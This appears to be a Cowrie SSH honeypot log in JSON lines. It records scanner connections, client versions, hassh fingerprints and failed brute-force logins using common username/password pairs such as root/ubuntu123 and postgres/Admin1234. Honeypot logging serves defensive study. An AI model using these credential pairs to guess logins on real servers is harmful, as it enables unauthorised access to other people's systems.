{"eventid":"cowrie.login.failed","username":"admin","password":"123@123","message":"login attempt [admin/123@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:52.111493Z","src_ip":"103.125.103.201","session":"3e4b0bc48e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:53.353175Z","src_ip":"103.125.103.201","session":"3e4b0bc48e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":39036,"dst_ip":"10.17.0.5","dst_port":22,"session":"407d3157704b","protocol":"ssh","message":"New connection: 181.97.227.163:39036 (10.17.0.5:22) [session: 407d3157704b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:14.627960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:14.632396Z","src_ip":"181.97.227.163","session":"407d3157704b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:14.835044Z","src_ip":"181.97.227.163","session":"407d3157704b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"1qaz2wsx","message":"login attempt [kafka/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:15.677537Z","src_ip":"181.97.227.163","session":"407d3157704b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.244","src_port":63336,"dst_ip":"10.17.0.5","dst_port":22,"session":"e76c180d5acd","protocol":"ssh","message":"New connection: 205.210.31.244:63336 (10.17.0.5:22) [session: e76c180d5acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:15.831331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:16.532085Z","src_ip":"205.210.31.244","session":"e76c180d5acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:16.887135Z","src_ip":"181.97.227.163","session":"407d3157704b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:17.549469Z","src_ip":"205.210.31.244","session":"e76c180d5acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":52966,"dst_ip":"159.203.135.109","dst_port":22,"session":"e800a7de6ac9","protocol":"ssh","message":"New connection: 43.173.69.147:52966 (159.203.135.109:22) [session: e800a7de6ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:24.255765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:24.260441Z","src_ip":"43.173.69.147","session":"e800a7de6ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:24.328363Z","src_ip":"43.173.69.147","session":"e800a7de6ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:24.581738Z","src_ip":"205.210.31.244","session":"e76c180d5acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu123","message":"login attempt [root/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:24.630370Z","src_ip":"43.173.69.147","session":"e800a7de6ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:25.702419Z","src_ip":"43.173.69.147","session":"e800a7de6ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":57690,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b3a54bee58","protocol":"ssh","message":"New connection: 103.158.40.65:57690 (159.203.135.109:22) [session: 51b3a54bee58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:37.680111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:37.684933Z","src_ip":"103.158.40.65","session":"51b3a54bee58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:37.895151Z","src_ip":"103.158.40.65","session":"51b3a54bee58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"passw0rd1","message":"login attempt [ubuntu/passw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:38.758383Z","src_ip":"103.158.40.65","session":"51b3a54bee58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":42688,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf289cfff0a5","protocol":"ssh","message":"New connection: 101.36.106.162:42688 (10.17.0.5:22) [session: cf289cfff0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:39.487003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:39.492020Z","src_ip":"101.36.106.162","session":"cf289cfff0a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:39.710315Z","src_ip":"101.36.106.162","session":"cf289cfff0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:39.966507Z","src_ip":"103.158.40.65","session":"51b3a54bee58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debianroot","message":"login attempt [root/debianroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:40.617175Z","src_ip":"101.36.106.162","session":"cf289cfff0a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:41.838929Z","src_ip":"101.36.106.162","session":"cf289cfff0a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":8571,"dst_ip":"159.203.135.109","dst_port":22,"session":"764838770148","protocol":"ssh","message":"New connection: 131.161.219.137:8571 (159.203.135.109:22) [session: 764838770148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:43.460954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:43.468729Z","src_ip":"131.161.219.137","session":"764838770148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:43.597521Z","src_ip":"131.161.219.137","session":"764838770148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwe123","message":"login attempt [ftpuser/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:44.142344Z","src_ip":"131.161.219.137","session":"764838770148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:45.274285Z","src_ip":"131.161.219.137","session":"764838770148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":51234,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeb442e99f7a","protocol":"ssh","message":"New connection: 201.6.100.191:51234 (159.203.135.109:22) [session: aeb442e99f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:46.851615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:46.857099Z","src_ip":"201.6.100.191","session":"aeb442e99f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:46.991426Z","src_ip":"201.6.100.191","session":"aeb442e99f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"eva","message":"login attempt [admin/eva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:47.541242Z","src_ip":"201.6.100.191","session":"aeb442e99f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:48.675251Z","src_ip":"201.6.100.191","session":"aeb442e99f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40778,"dst_ip":"10.17.0.5","dst_port":22,"session":"a017051302a2","protocol":"ssh","message":"New connection: 103.125.103.201:40778 (10.17.0.5:22) [session: a017051302a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:48.853258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:48.861628Z","src_ip":"103.125.103.201","session":"a017051302a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:49.105330Z","src_ip":"103.125.103.201","session":"a017051302a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Admin1234","message":"login attempt [postgres/Admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:50.113963Z","src_ip":"103.125.103.201","session":"a017051302a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:59:51.361105Z","src_ip":"103.125.103.201","session":"a017051302a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":40920,"dst_ip":"10.17.0.5","dst_port":22,"session":"94ba9c87ffe8","protocol":"ssh","message":"New connection: 181.97.227.163:40920 (10.17.0.5:22) [session: 94ba9c87ffe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:18.336742Z"}
